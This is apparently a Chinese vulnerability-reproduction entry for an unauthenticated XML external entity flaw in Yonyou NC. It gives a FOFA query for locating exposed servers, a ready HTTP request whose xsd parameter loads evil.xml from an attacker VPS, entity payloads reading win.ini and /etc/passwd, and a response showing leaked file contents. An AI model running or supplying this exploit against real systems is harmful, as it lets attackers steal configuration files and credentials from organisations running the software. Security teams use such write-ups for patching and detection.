

Y4-18用友-NC-XXE

漏洞描述：

用友 NC 多处接口存在XML实体注入漏洞，未经身份验证攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态。

网站图片：



网络测绘：

fofa语法：

app="用友-UFIDA-NC"

漏洞复现：

payload:

```
GET /uapws/service/nc.itf.bd.crm.ICurrtypeExportToCrmService?xsd=http://VPS/evil.xml HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Connection: close
Accept: text/plain, */*; q=0.01
Accept-Encoding: gzip
```

任意文件读取利用，需要VPS上建立对应操作系统的xml文件，然后开启http服务。xml文件如下

```
windows:
<?xml version="1.0"?><!DOCTYPE test [<!ENTITY name SYSTEM "file:///c://windows/win.ini">]>
<user><username>&name;</username><password>1</password></user>

Linux:
<?xml version="1.0"?><!DOCTYPE test [<!ENTITY name SYSTEM "file:///etc/passwd">]>
<user><username>&name;</username><password>1</password></user>
```

效果图:

Request		Responses	
<div>1 GET /uapws/service/nc.itf.bd.crm.ICurrtypeExportToCrmService?xsd=http://.../evil.xml HTTP/1.1</div> <div>2 Host: ...</div> <div>3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)</div> <div>4 Connection: close</div> <div>5 Accept: text/plain, */*; q=0.01</div> <div>6 Accept-Encoding: gzip</div> <div>7</div> <div>8</div>		<div>1 HTTP/1.1 200 OK</div> <div>2 Server: Apache-Coyote/1.1</div> <div>3 Set-Cookie: JSESSIONID=BE69743E7AE47314E06D0E902B43CBDE.server; Path=/</div> <div>4 Content-Type: text/xml</div> <div>5 Date: Wed, 28 Feb 2024 12:06:12 GMT</div> <div>6 Connection: close</div> <div>7 Content-Length: 539</div> <div>8</div> <div>9 <?xml version="1.0" encoding="UTF-8"?><user><username>; for 16-bit app</div> <div>10 [fonts]</div> <div>11 [extensions]</div> <div>12 [mci.extensions]</div> <div>13 [files]</div> <div>14 [Mail]</div> <div>15 MAPI=1</div> <div>16 [MCI-Extensions.BAK]</div> <div>17 aifc=MPEGVideo</div> <div>18 aifc=MPEGVideo</div> <div>19 aiff=MPEGVideo</div> <div>20 asf=MPEGVideo</div> <div>21 asx=MPEGVideo</div> <div>22 au=MPEGVideo</div> <div>23 ...MPEGVideo</div>	